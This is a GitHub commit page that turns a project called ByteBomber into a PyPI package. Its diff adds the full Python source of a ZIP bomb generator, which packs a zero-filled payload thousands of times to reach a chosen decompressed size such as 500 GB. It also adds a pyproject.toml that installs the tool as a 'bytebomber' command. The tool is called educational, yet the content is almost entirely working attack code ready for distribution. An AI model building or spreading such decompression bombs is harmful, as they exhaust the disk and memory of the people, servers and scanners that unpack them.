Skip to content

Commit fd2c9be

Browse files
committed
Create PyPI package
1 parent a8ce3a1 commit fd2c9be

File tree

5 files changed

+95
-57
lines changed

5 files changed

+95
-57
lines changed

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
/dist/
2+
/*.egg-info/

ByteBomber/__init__.py

Whitespace-only changes.

ByteBomber/__main__.py

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
import zipfile
2+
import os
3+
import sys
4+
5+
UNITS = {
6+
"B": 1,
7+
"KB": 1 << 10,
8+
"MB": 1 << 20,
9+
"GB": 1 << 30,
10+
"TB": 1 << 40,
11+
"PB": 1 << 50,
12+
"EB": 1 << 60,
13+
"ZB": 1 << 70,
14+
"YB": 1 << 80,
15+
}
16+
17+
def progress_bar(iteration, total, bar_length=50):
18+
progress = (iteration / total)
19+
percentage = int(progress * 100)
20+
arrow = '#' * int(round(progress * bar_length))
21+
spaces = ' ' * (bar_length - len(arrow))
22+
sys.stdout.write(f"\r[{arrow}{spaces}] {percentage}%")
23+
sys.stdout.flush()
24+
25+
def get_bytes(amount_str):
26+
try:
27+
value, unit = amount_str.strip().upper().split()
28+
return int(float(value) * UNITS[unit])
29+
except:
30+
raise ValueError("Format: <number> <unit>, e.g., 1 PB or 500 GB")
31+
32+
def main():
33+
target_input = input("Bomb decompressed size: ") or "500 GB"
34+
payload_input = input("Payload file size: ") or "1 MB"
35+
zip_name = input("Output zip name: ") or "bomb.zip"
36+
folder_name = input("Bomb directory name: ") or "bomb-dir"
37+
38+
PAYLOAD_NAME = "payload.txt"
39+
DECOMPRESSED_TOTAL = get_bytes(target_input)
40+
PAYLOAD_SIZE = get_bytes(payload_input)
41+
REPEATS = DECOMPRESSED_TOTAL // PAYLOAD_SIZE
42+
print(f"\n Creating ZIP bomb:\n")
43+
print(f" Payload size: {PAYLOAD_SIZE} bytes")
44+
print(f" Total uncompressed: {DECOMPRESSED_TOTAL} bytes")
45+
print(f" File count: {REPEATS}")
46+
print(f" Output: {zip_name}\n")
47+
48+
with open(PAYLOAD_NAME, "wb") as f:
49+
f.write(b'\0' * PAYLOAD_SIZE)
50+
51+
with zipfile.ZipFile(zip_name, "w", compression=zipfile.ZIP_DEFLATED) as zf:
52+
for i in range(REPEATS):
53+
arcname = f"{folder_name}/{i}.txt"
54+
zf.write(PAYLOAD_NAME, arcname)
55+
progress_bar(i + 1, REPEATS)
56+
57+
os.remove(PAYLOAD_NAME)
58+
print(f"\n\nCreated zip bomb: {zip_name}")
59+
60+
if __name__ == "__main__":
61+
main()

main.py

Lines changed: 0 additions & 57 deletions
This file was deleted.

pyproject.toml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
[build-system]
2+
requires = ["setuptools>=61.0"]
3+
build-backend = "setuptools.build_meta"
4+
5+
[project]
6+
name = "ByteBomber"
7+
version = "1.2.0"
8+
description = "ZIP bomb generator (for educational purposes only)"
9+
readme = "README.md"
10+
requires-python = ">=3.6,<4.0"
11+
license = { text = "MIT" }
12+
authors = []
13+
classifiers = [
14+
"Programming Language :: Python :: 3",
15+
"License :: OSI Approved :: MIT License",
16+
"Operating System :: OS Independent",
17+
"Topic :: Security",
18+
"Topic :: Utilities",
19+
"Intended Audience :: Developers",
20+
"Intended Audience :: System Administrators",
21+
"Development Status :: 5 - Production/Stable"
22+
]
23+
dependencies = []
24+
25+
[project.urls]
26+
Homepage = "https://github.com/luckalgorithm/ByteBomber"
27+
Documentation = "https://luckalgorithm.github.io/ByteBomber"
28+
Source = "https://github.com/luckalgorithm/ByteBomber"
29+
IssueTracker = "https://github.com/luckalgorithm/ByteBomber/issues"
30+
31+
[project.scripts]
32+
bytebomber = "bytebomber.__main__:main"

0 commit comments

Comments
 (0)